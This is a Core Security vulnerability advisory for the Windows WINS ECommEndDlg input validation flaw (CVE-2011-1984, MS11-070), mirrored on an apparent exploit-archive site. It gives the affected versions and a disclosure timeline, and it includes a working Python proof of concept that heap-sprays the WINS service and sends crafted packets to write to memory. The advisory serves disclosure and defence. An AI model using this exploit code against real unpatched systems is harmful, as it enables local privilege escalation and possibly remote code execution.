Skip to content
cyberexploits
doswindowstext

Microsoft WINS - ECommEndDlg Input Validation Error (MS11-035/MS11-070)

Microsoft WINS - ECommEndDlg Input Validation Error (MS11-035/MS11-070)

Publié le 2011-09-13

Code source

Épinglé au commit 7eac4c3a2ce5
textplatforms/windows/dos/17831.txt7eac4c3a
raw
Core Security - Corelabs Advisory

http://corelabs.coresecurity.com/



MS WINS ECommEndDlg Input Validation Error





1. *Advisory Information*



Title: MS WINS ECommEndDlg Input Validation Error

Advisory ID: CORE-2011-0526

Advisory URL:

http://www.coresecurity.com/content/ms-wins-ecommenddlg-input-validation

Date published: 2011-09-12

Date of last update: 2011-09-12

Vendors contacted: Microsoft

Release mode: Forced release





2. *Vulnerability Information*



Class: Input validation error [CWE-20]

Impact: Code execution

Remotely Exploitable: No

Locally Exploitable: Yes

CVE Name: CVE-2011-1984





3. *Vulnerability Description*



A security vulnerability was discovered in the Windows Internet Name

Service (WINS). The vulnerability could allow elevation of privilege if

a user receives a specially crafted WINS replication packet on an

affected system running the WINS service. An attacker must have valid

logon credentials and be able to log on locally in order to exploit this

vulnerability.



Malicious packets are processed by the vulnerable function

'ECommEndDlg', reported in MS11-035 [1], but this time the pointers

handled by this function are controlled by the attacker.



*Important:* Given that this vulnerability is triggered by sending a

specially crafted packet to the dynamic UDP port of the WINS service

(which is binded to the loopback address '127.0.0.1'), this

vulnerability can result in an elevation of privilege. Despite that, in

old W2003 SP0 systems, the dynamic UDP port is binded to the '0.0.0.0'

address, allowing remote code execution.





4. *Vulnerable packages*



   . Windows Server 2003 SP0, SP1 and SP2.

   . Windows Server 2003 x64 Edition SP2.

   . Windows Server 2003 SP2 for Itanium-based Systems.

   . Windows Server 2008 SP2.

   . Windows Server 2008 x64 Edition SP2.

   . Windows Server 2008 R2 for x64-based Systems.

   . Other versions and platforms are probably affected too, but they

were no checked.





5. *Non-vulnerable packages*



   . Windows XP SP3.

   . Windows XP Professional x64 Edition SP2.

   . Windows Vista SP2.

   . Windows Vista x64 Edition SP2.

   . Windows Server 2008 for Itanium-based Systems SP2.

   . Windows 7.

   . Windows 7 for x64-based Systems.

   . Windows Server 2008 R2 for Itanium-based systems.





6. *Credits*



This vulnerability was discovered and researched by Nicolas Economou

from Core Security Exploit Writers Team. The publication of this

advisory was coordinated by Fernando Miranda from Core Security

Advisories Team.





7. *Technical Description / Proof of Concept Code*



7.1. *Proof of Concept*



The following PoC was tested on WINS 5.2.3790.4849, W2003 SP2. This

Python code generates 300 TCP connections to the 42 port (the limit of

active WINS connections), and sends an UDP packet to the dynamic port

handled by WINS. The packet is processed by the vulnerable function

'ECommEndDlg', reported in MS11-035 [1], but this time the pointers

handled by this function are controlled by the attacker. As a result,

this code increments +1 the memory address passed through the command

line. For example, the memory address 0x10c00 is typically mapped in the

WINS process and it can be used.



/-----

##



import sys

import socket

import struct

import time

import os



from ctypes import *

from ctypes.wintypes import DWORD



LocalFree = windll.kernel32.LocalFree

CryptProtectData = windll.crypt32.CryptProtectData

CryptUnprotectData = windll.crypt32.CryptUnprotectData

memcpy = cdll.msvcrt.memcpy



CRYPTPROTECT_LOCAL_MACHINE = 0x04



class DATA_BLOB(Structure):

     _fields_ = [("cbData", DWORD), ("pbData", POINTER(c_char))]





def get_data(blob):

     cbData = int(blob.cbData)

     pbData = blob.pbData

     buffer = c_buffer(cbData)

     memcpy(buffer, pbData, cbData)

     LocalFree(pbData);

     return buffer.raw



def Win32CryptProtectData(plain):

     buffer = c_buffer(plain, len(plain))

     iblob = DATA_BLOB(len(plain), buffer)

     oblob = DATA_BLOB()

     if CryptProtectData(byref(iblob), u"win32crypto.py", None, None,

None, CRYPTPROTECT_LOCAL_MACHINE, byref(oblob)):

         return get_data(oblob)

     else:

         return None



def send_packet (sock, ip, port, message):

    packet = ""

    packet += message

    sock.sendto(packet, (ip, port))



################################################################################



# Check args

if len(sys.argv) != 4:

    print "\nusage: python wins_poc.py wins_tcp_dynamic_port

wins_udp_dynamic_port writeable_address(hex)"

    print "\nNote: On Windows 2003, the udp dynamic port is the same

number of the tcp port less one"

    sys.exit(0)



# Get ports dinamically

tcp_dynamic_port = int(sys.argv[1])

udp_dynamic_port = int(sys.argv[2])

writeable_address = int(sys.argv[3], 16)



# Target IP

target_ip = "127.0.0.1"



################################################################################



# Create connections to do a heap spray

rpc_connections = []

for i in range(0, 1000):

    try:

        p = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        p.connect((target_ip, tcp_dynamic_port))

        rpc_connections += [p]

    except Exception, e:

        break



# Struct that is validated by WINS

magic_struct  = ""

magic_struct += "a" * 0x0c

magic_struct += struct.pack("I", writeable_address-0x14)

magic_struct += struct.pack("I", 0)

magic_struct += struct.pack("I", 4)

magic_struct += "b" * (0x20-len(magic_struct))

magic_struct += struct.pack("I", 1)

magic_struct += "c" * (0x2c-len(magic_struct))

magic_struct += struct.pack("I", 0x10c00)

magic_struct += "d" * (0x38-len(magic_struct))

magic_struct += struct.pack("I", 0)



# Data con la forma de la estructura que triggerea el bug

data  = ""

data += magic_struct

data += "B" * (0x4000-len(data))

data += "filling"



# Create connections to do a heap spray

for p in rpc_connections:

    try:

        p.send(data)

    except Exception, e:

        pass



# Get to the limit od WINS connections

print "connecting ..."

ps = []

for i in range(0, 300):

    p = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    p.connect((target_ip, 42))

    ps += [p]



# Go through an area 32Kb

for offset in range(0, 0x8000, 4):

    # Data to send

    data  = ""

    data += struct.pack("I", 0)

    data += "A" * 0x0c

    data += struct.pack("I", 0)

    data += struct.pack("I", 0x05000000+offset)



    # Encrypt

    data2 = Win32CryptProtectData(data)



    # Send the poisoned packet

    p = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    send_packet(p, target_ip, udp_dynamic_port, data2)

    p.close ()



# Close all sockects

print "closing TCP connections ..."

for p in ps:

    p.close()



for p in rpc_connections:

    p.close()



-----/





8. *Report Timeline*



. 2011-06-07:

Core Security Technologies notifies the MSRC of the vulnerability,

setting the estimated publication date of the advisory to July 5th,

2011. Technical details sent to the vendor.



. 2011-06-07:

Vendor acknowledges receipt of the information and notifies the case

11427 was opened for handling this report.



. 2011-06-08:

MSRC notifies they will not be able to meet the initial release schedule

set in July. MSRC will contact Core with a tentative timeline as soon as

the product team has reproduced the issue.



. 2011-06-15:

MSRC notifies that they have successfully reproduced this issue and can

confirm the vulnerability results in an Elevation of Privilege instead

of Remote Code Execution; the reason for this is that the dynamic UDP

port that is opened only listens on the loopback address. Despite that,

MSRC will still be issuing a Security Update.



. 2011-06-17:

MSRC notifies that they are currently planning the development of the

fix. MSRC also notifies that they should have a good idea when a fix

will be available in a week.



. 2011-06-17:

Core requests a status update and an estimated release date.



. 2011-06-24:

MSRC notifies they are currently targeting Sep 13th 2011 to release the

security update.



. 2011-07-06:

Core agrees to reschedule the advisory to Sep 13th.



. 2011-08-31:

MSRC notifies they are still on track to release the update in September.



. 2011-09-08:

Core notifies that everything is ready for public disclosure next

Tuesday 13th.



. 2011-09-09:

MSRC notifies that, by error, the bulletins were unintentionally

published last night. MSRC has taken down the bulletins and is

evaluating what next steps are needed to take prior to next Tuesdays.

MSRC asks delay the Core advisory until next Tuesday.



. 2011-09-09:

Core confirms that RSS reports regarding the Microsoft Security Bulletin

MS11-070 were leaked and the information is available in some security

blogs and security discussion lists [2][3][4]. These leaked reports

include the vulnerability reported by Core: "Vulnerability in WINS Could

Allow Elevation of Privilege (2571621)".



. 2011-09-09:

Core notifies that advisories are not usually released on Fridays and

announces that the advisory will be released Monday 12th.



. 2011-09-12:

CORE-2011-0526 is published as forced release.





9. *References*



[1] MS11-035,

http://www.microsoft.com/technet/security/bulletin/ms11-035.mspx

[2]

http://arstechnica.com/microsoft/news/2011/09/microsoft-posts-security-bulletins-four-days-early-scrambles-to-fix-mistake.ars

[3] http://www.smokey-services.eu/forums/index.php?topic=132827.0

[4] http://pastebin.com/DT3w5G19





10. *About CoreLabs*



CoreLabs, the research center of Core Security Technologies, is charged

with anticipating the future needs and requirements for information

security technologies. We conduct our research in several important

areas of computer security including system vulnerabilities, cyber

attack planning and simulation, source code auditing, and cryptography.

Our results include problem formalization, identification of

vulnerabilities, novel solutions and prototypes for new technologies.

CoreLabs regularly publishes security advisories, technical papers,

project information and shared software tools for public use at:

http://corelabs.coresecurity.com.





11. *About Core Security Technologies*



Core Security Technologies enables organizations to get ahead of threats

with security test and measurement solutions that continuously identify

and prove real-world exposures to their most critical assets. Our

customers can gain real visibility into their security standing, real

validation of their security controls, and real metrics to more

effectively secure their organizations.



Core Security's software solutions build on over a decade of trusted

research and leading-edge threat expertise from the company's Security

Consulting Services, CoreLabs and Engineering groups. Core Security

Technologies can be reached at +1 (617) 399-6980 or on the Web at:

http://www.coresecurity.com.





12. *Disclaimer*



The contents of this advisory are copyright (c) 2011 Core Security

Technologies and (c) 2011 CoreLabs, and are licensed under a Creative

Commons Attribution Non-Commercial Share-Alike 3.0 (United States)

License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/





13. *PGP/GPG Keys*



This advisory has been signed with the GPG key of Core Security

Technologies advisories team, which is available for download at

http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
Voir sur GitHub